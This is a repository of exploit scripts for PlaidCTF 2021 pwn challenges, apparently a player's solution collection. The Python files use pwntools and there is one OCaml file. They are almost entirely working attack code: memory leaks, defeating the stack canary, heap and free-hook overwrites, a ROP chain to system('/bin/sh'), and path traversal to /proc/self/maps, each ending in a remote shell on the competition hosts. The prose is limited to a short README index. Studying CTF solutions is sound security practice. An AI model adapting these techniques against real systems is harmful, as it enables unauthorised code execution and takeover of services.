├── .gitignore ├── README.md └── plaidctf-2021 ├── Pwn ├── liars-and-cheats │ └── exploit.py ├── plaidflix │ └── exploit.py ├── secure-ocaml-sandbox │ └── exploit.ml ├── the-cobol-job │ └── exploit.py └── the-false-promise │ └── exploit.html └── README.md /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow 95 | __pypackages__/ 96 | 97 | # Celery stuff 98 | celerybeat-schedule 99 | celerybeat.pid 100 | 101 | # SageMath parsed files 102 | *.sage.py 103 | 104 | # Environments 105 | .env 106 | .venv 107 | env/ 108 | venv/ 109 | ENV/ 110 | env.bak/ 111 | venv.bak/ 112 | 113 | # Spyder project settings 114 | .spyderproject 115 | .spyproject 116 | 117 | # Rope project settings 118 | .ropeproject 119 | 120 | # mkdocs documentation 121 | /site 122 | 123 | # mypy 124 | .mypy_cache/ 125 | .dmypy.json 126 | dmypy.json 127 | 128 | # Pyre type checker 129 | .pyre/ 130 | 131 | # MacOS 132 | .DS_Store 133 | 134 | # Vim 135 | *.swp 136 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTFs 2 | CTF Write-ups 3 | -------------------------------------------------------------------------------- /plaidctf-2021/Pwn/liars-and-cheats/exploit.py: -------------------------------------------------------------------------------- 1 | __author__ = "cMc_SARS" 2 | 3 | from pwn import * 4 | context(terminal='zsh', arch='amd64', log_level='info') 5 | 6 | p = remote('liars.pwni.ng', 2018) 7 | 8 | # def recvptr(self): return u64(self.recvn(6).ljust(8, "\x00")) 9 | def recvptr(self): return u64(self.recvline().rstrip().ljust(8, "\x00")) 10 | pwnlib.tubes.remote.remote.recvptr = recvptr 11 | pwnlib.tubes.process.process.recvptr = recvptr 12 | 13 | p.sendlineafter("How many players total (4-10)?", "7") 14 | 15 | def leak(idx): 16 | p.sendlineafter("4) Leave", "1") 17 | p.sendlineafter("Player? ", str(idx)) 18 | p.recvuntil("They have ") 19 | res = int(p.recvuntil(" ", drop=True)) 20 | if res < 0: res += 0x100000000 21 | return res 22 | low = leak(-12) 23 | high = leak(-11) 24 | libc_addr = low + (high << 32) 25 | print(hex(libc_addr)) 26 | 27 | low = leak(-88) 28 | high = leak(-87) 29 | heap_addr = low + (high << 32) 30 | print(hex(heap_addr)) 31 | 32 | p.sendlineafter("4) Leave", "4") 33 | p.sendlineafter("Play again (y/n)? ", "y") 34 | p.sendlineafter("How many players total (4-10)?", "7") 35 | 36 | curr_pos = heap_addr + 0x110 37 | canary_pos = libc_addr + 0x6688 - 0x80 38 | stack_pos = libc_addr + 0x2380 39 | off = int((0x10000000000000000 + curr_pos - canary_pos) / 4) 40 | low = leak(-off) 41 | high = leak(-off + 1) 42 | canary = low + (high << 32) 43 | print(hex(canary)) 44 | off = int((0x10000000000000000 + curr_pos - stack_pos) / 4) 45 | low = leak(-off) 46 | high = leak(-off + 1) 47 | stack_addr = low + (high << 32) 48 | print(hex(stack_addr)) 49 | 50 | overflow_pos = stack_addr - 0x83c 51 | off = int((0x10000000000000000 + curr_pos - overflow_pos) / 4) 52 | 53 | p.sendlineafter("4) Leave", "4") 54 | p.sendlineafter("Play again (y/n)? ", "y") 55 | p.sendlineafter("How many players total (4-10)?", "7") 56 | 57 | dice_1 = leak(-8) 58 | print(dice_1) 59 | if dice_1 != 6: 60 | log.warning("I'm lazzy, so try again :(") 61 | exit(0) 62 | p.sendlineafter("4) Leave", "0") 63 | p.sendlineafter("2) Print dice horizontally", "2") 64 | p.sendlineafter("3) Leave", "2") 65 | 66 | dice_num = [0,0,0,0,0,0] 67 | while True: 68 | p.sendline('5') 69 | bug = leak(-off) 70 | for i in range(6): 71 | dice_num[i] = leak(i-8) 72 | p.recvuntil("Player 6's turn") 73 | res = p.recv() 74 | print(res) 75 | if "3) Leave" in res: 76 | p.sendline("0") 77 | a1 = max(dice_num) 78 | a2 = 6 - dice_num[::-1].index(a1) 79 | print(dice_num) 80 | print(bug + 1, dice_num[bug]) 81 | print(a2, a1) 82 | p.sendline(str(bug + 1)) 83 | p.sendlineafter("Number of dice? ", str(dice_num[bug])) 84 | if "Invalid bet!" in p.recvline(): 85 | p.sendline(str(a2)) 86 | p.sendlineafter("Number of dice? ", str(a1)) 87 | if "What is your name?" in p.recv(): 88 | break 89 | 90 | sh_addr = libc_addr - 0x359b6 91 | system_addr = libc_addr - 0x197b50 92 | poprdi = system_addr + 0x100a 93 | print(hex(poprdi)) 94 | print(hex(system_addr)) 95 | print(hex(sh_addr)) 96 | payload = "A" * 520 97 | payload += p64(canary) 98 | payload += "BBBBBBBB" 99 | payload += p64(poprdi+1) 100 | payload += p64(poprdi) 101 | payload += p64(sh_addr) 102 | payload += p64(system_addr) 103 | p.sendline(payload) 104 | p.interactive() 105 | -------------------------------------------------------------------------------- /plaidctf-2021/Pwn/plaidflix/exploit.py: -------------------------------------------------------------------------------- 1 | __author__ = "cMc_SARS" 2 | 3 | from pwn import * 4 | context(terminal='zsh', arch='amd64', log_level='info') 5 | 6 | p = remote('plaidflix.pwni.ng', 1337) 7 | 8 | # def recvptr(self): return u64(self.recvn(6).ljust(8, "\x00")) 9 | def recvptr(self): return u64(self.recvline().rstrip().ljust(8, "\x00")) 10 | pwnlib.tubes.remote.remote.recvptr = recvptr 11 | pwnlib.tubes.process.process.recvptr = recvptr 12 | 13 | def chose(n): 14 | p.sendlineafter("> ", str(n)) 15 | 16 | def add_movie(a1="AAA", a2="5"): 17 | chose("0") 18 | chose("0") 19 | p.sendafter("> ", (str(a1)+"\n")[:]) 20 | p.sendafter("> ", (str(a2)+"\n")[:]) 21 | 22 | def remove_movie(idx): 23 | chose("0") 24 | chose("1") 25 | chose(idx) 26 | 27 | def show_movie(): 28 | chose("0") 29 | chose("2") 30 | 31 | def share_movie(idx1, idx2): 32 | chose("0") 33 | chose("3") 34 | chose(idx1) 35 | chose(idx2) 36 | 37 | def add_friend(a1="8", a2="BBBBBBBB"): 38 | chose("1") 39 | chose("0") 40 | p.sendafter("> ", (str(a1)+"\n")[:]) 41 | p.sendafter("> ", (str(a2)+"\n")[:]) 42 | 43 | def remove_friend(idx=0): 44 | chose("1") 45 | chose("1") 46 | chose(idx) 47 | 48 | def show_friend(): 49 | chose("1") 50 | chose("2") 51 | 52 | # Name on stack 53 | chose("AAAAAAAA") 54 | add_friend(0x10, "A"*0x10) 55 | add_movie() 56 | share_movie(0, 0) 57 | remove_friend(0) 58 | show_movie() 59 | p.recvuntil("* Shared with: ") 60 | heap_addr = (p.recvptr() << 12) 61 | print(hex(heap_addr)) 62 | remove_movie(0) 63 | 64 | for i in range(8): 65 | add_friend(0x7f, "A"*0x7f) 66 | add_movie() 67 | add_movie() 68 | share_movie(0, 7) 69 | for i in range(8): 70 | remove_friend(i) 71 | 72 | for i in range(8): 73 | add_friend(0x8f, "A"*0x8f) 74 | for i in range(8): 75 | remove_friend(i) 76 | show_movie() 77 | p.recvuntil("* Shared with: ") 78 | libc_addr = (p.recvptr()) 79 | print(hex(libc_addr)) 80 | 81 | chose(2) 82 | chose('y') 83 | 84 | def add_feedback(a0="AAAAAAAA"): 85 | chose("0") 86 | p.sendafter("> ", (str(a0)+"\n")[:]) 87 | 88 | def delete_feedback(a0="0"): 89 | chose("1") 90 | p.sendafter("> ", (str(a0)+"\n")[:]) 91 | 92 | def add_contact_detail(a0="AAAAAAAA"): 93 | chose("2") 94 | p.sendafter("> ", (str(a0)+"\n")[:]) 95 | 96 | for i in range(10): 97 | add_feedback() 98 | for i in range(10): 99 | delete_feedback(i) 100 | add_contact_detail() 101 | for i in range(8): 102 | add_feedback() 103 | 104 | delete_feedback(0) 105 | delete_feedback(7) # 0x610 106 | delete_feedback(8) # 0x5f0 107 | payload = "A" * 24 + p64(0x111) + p64(0xdeadbeef) * 2 108 | add_feedback(payload) # 0: 0x5f0 109 | delete_feedback(7) # 0x610 110 | free_hook = libc_addr + 0x31c1 111 | system_addr = libc_addr - 0x1938c0 112 | fd = free_hook ^ (heap_addr >> 12) 113 | add_feedback(p64(fd)) 114 | add_feedback("/bin/sh\x00") 115 | add_feedback(p64(system_addr)) 116 | delete_feedback(8) 117 | 118 | p.interactive() 119 | -------------------------------------------------------------------------------- /plaidctf-2021/Pwn/secure-ocaml-sandbox/exploit.ml: -------------------------------------------------------------------------------- 1 | open! Bytes 2 | open! Printf 3 | open! Scanf 4 | 5 | type t = A of int | B of (bytes) 6 | type s = C of int | D of (string ) 7 | type t2 = E of int | F of (int ref) 8 | type s2 = G of int | H of (int -> string) 9 | let s = "hogefugakasukasukasu" 10 | let bye (x1, x2) y = 11 | match (x1, x2) with 12 | (false, _) -> "a" 13 | | (_, {contents=G _}) -> "b" 14 | | _ when (x2 := G y; false) -> "c" 15 | | (true, {contents=H y}) -> y 14700022565482775 16 | let rec byebye n x y = 17 | if n = 0 then bye x y ^ "c" else byebye (n-1) x y ^ "d" 18 | let leak3 (x1,x2) y = 19 | match (x1,x2) with 20 | (false, _) -> of_string "a" 21 | | (_,{contents=A _}) -> of_string "b" 22 | | _ when (x2 := A y; false) -> of_string "c" 23 | | (true, {contents=B y}) -> y 24 | let leak (x1,x2) s = 25 | match (x1,x2) with 26 | (false,_) -> 0 27 | | (_,{contents=D _}) -> 1 28 | | _ when (x2 := D(s); false) -> 2 29 | | (true, {contents=C y}) -> y 30 | let leak2 (x1,x2) y = 31 | match (x1,x2) with 32 | (false, _) -> ref 0 33 | | (_,{contents=E _}) -> ref 1 34 | | _ when (x2 := E(y); false) -> ref 2 35 | | (true, {contents=F y}) -> y 36 | let prog_base = leak (true, ref (C 1)) s * 2 - 0xdcb80 - 0x18 - 7 + 0x1d00 - 0x20 37 | (*let target = (0xd91e8 + prog_base) / 2*) 38 | let target = (0xd91e8 + prog_base) / 2 39 | let r = leak2 (true, ref (F (ref 1))) target 40 | let libc_base = ((!r) land 0xffffffffff) * 2 * 256 - 0x24200 41 | let _ = printf "Show LeakInfo\n" 42 | let _ = printf "0x%x\n" prog_base 43 | let _ = printf "0x%x\n" libc_base 44 | let free_hook = libc_base + 0x1bd8e8 45 | let system = libc_base + 0x448a3 46 | let _ = printf "0x%x\n" free_hook 47 | let _ = printf "0x%x\n" system 48 | let r = leak3 (true,ref (B (of_string "c"))) (free_hook / 2) 49 | let () = set r 0 (char_of_int ((system lsr 0) mod 256)) 50 | let () = set r 1(char_of_int ((system lsr 8) mod 256)) 51 | let () = set r 2(char_of_int ((system lsr 16) mod 256)) 52 | let () = set r 3(char_of_int ((system lsr 24) mod 256)) 53 | let () = set r 4(char_of_int ((system lsr 32) mod 256)) 54 | let () = set r 5(char_of_int ((system lsr 40) mod 256)) 55 | let () = set r 6(char_of_int ((system lsr 48) mod 256)) 56 | let s = byebye 1 (true, ref(H(string_of_int))) (free_hook/ 2) 57 | -------------------------------------------------------------------------------- /plaidctf-2021/Pwn/the-cobol-job/exploit.py: -------------------------------------------------------------------------------- 1 | __author__ = "cMc_SARS" 2 | 3 | from pwn import * 4 | context(terminal='zsh', arch='amd64', log_level='info') 5 | 6 | p = remote('cobol.pwni.ng', 3083) 7 | 8 | # def recvptr(self): return u64(self.recvn(6).ljust(8, "\x00")) 9 | def recvptr(self): return u64(self.recvline().rstrip().ljust(8, "\x00")) 10 | pwnlib.tubes.remote.remote.recvptr = recvptr 11 | pwnlib.tubes.process.process.recvptr = recvptr 12 | 13 | def chose(n): 14 | p.sendlineafter("> ", str(n)) 15 | 16 | def create_file(a0="AAAA", a1="1", a2="32"): 17 | chose("1") 18 | p.sendafter("File Name: ", (str(a0)+"\n")[:]) 19 | p.sendafter("Index: ", (str(a1)+"\n")[:]) 20 | p.sendafter("Buf Size: ", (str(a2)+"\n")[:]) 21 | 22 | def open_file(a0="AAAA", a1="1", a2="32"): 23 | chose("2") 24 | p.sendafter("File Name: ", (str(a0)+"\n")[:]) 25 | p.sendafter("Index: ", (str(a1)+"\n")[:]) 26 | p.sendafter("Buf Size: ", (str(a2)+"\n")[:]) 27 | 28 | def read_file(a0="1"): 29 | chose("3") 30 | p.sendafter("Index: ", (str(a0)+"\n")[:]) 31 | 32 | def write_file(a0="1", a1="AAAAAAAA", a2="n"): 33 | chose("4") 34 | p.sendafter("Index:", (str(a0)+"\n")[:]) 35 | p.sendafter("Input:", (str(a1)+"\n")[:]) 36 | p.sendafter("Read More (Y/y for yes)", (str(a2)+"\n")[:]) 37 | 38 | def close_file(a0="1"): 39 | chose("5") 40 | p.sendafter("Index: ", (str(a0)+"\n")[:]) 41 | 42 | def copy_file(a1, a2): 43 | chose(6) 44 | p.sendlineafter("Enter filename1:", a1) 45 | p.sendlineafter("Enter filename2:", a2) 46 | 47 | import re 48 | def get_heap(_vmmap, _name) : 49 | _regex = '^.*rw-p.*{}.*$'.format(_name) 50 | _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0] 51 | return int(_line.split('-')[0], 16) 52 | def get_base(_vmmap, _name) : 53 | _regex = '^.*r-xp.*{}.*$'.format(_name) 54 | _line = [_ for _ in _vmmap.split('\n') if re.match(_regex, _)][0] 55 | return int(_line.split('-')[0], 16) 56 | 57 | maps_path = "../../../../../proc/self/maps" 58 | leak_path = "C" 59 | 60 | copy_file(maps_path, leak_path) 61 | open_file(leak_path, 1, 0x1000) 62 | read_file(1) 63 | 64 | vmmap = p.recvuntil("-----------------------") 65 | prog_base = get_base(vmmap, "chall") 66 | libc_base = get_base(vmmap, "libc-2.27.so") 67 | heap_base = get_heap(vmmap, "heap") 68 | print("prog base: 0x{:x}".format(prog_base)) 69 | print("libc base: 0x{:x}".format(libc_base)) 70 | print("heap base: 0x{:x}".format(heap_base)) 71 | 72 | fn = "D" * 0x50 73 | create_file(fn, 2, 0x50) 74 | write_file(2, p64(prog_base+0x206950), "n") 75 | copy_file(fn, "E") 76 | create_file("AAAA", 3, 0x50) 77 | write_file(3, "/bin/sh\x00", 'n') 78 | create_file("AAAA", 4, 0x50) 79 | payload = "\x00"*6 80 | mem = [0x0000000200000004, heap_base + 0xb0c0, 0x0000000000000025, 0x0000000000000000,0x0000000100000004, heap_base + 0xb0f0, 0x0000000000000000, libc_base + 0x97140, libc_base + 0x4f550] 81 | payload += flat(mem) 82 | write_file(4, payload, 'n') 83 | close_file(3) 84 | p.interactive() 85 | -------------------------------------------------------------------------------- /plaidctf-2021/Pwn/the-false-promise/exploit.html: -------------------------------------------------------------------------------- 1 | 86 | -------------------------------------------------------------------------------- /plaidctf-2021/README.md: -------------------------------------------------------------------------------- 1 | # PlaidCTF 2021 2 | 3 | * Pwn 4 | - [Secure OCaml Sandbox](./Pwn/secure-ocaml-sandbox/exploit.ml) 5 | - [The False Promise(First Blood)](./Pwn/the-false-promise/exploit.html) 6 | - [Plaidflix](./Pwn/plaidflix/exploit.py) 7 | - [Liars and Cheats](./Pwn/liars-and-cheats/exploit.py) 8 | - [The Cobol Job(First Blood)](./Pwn/the-cobol-job/exploit.py) 9 | --------------------------------------------------------------------------------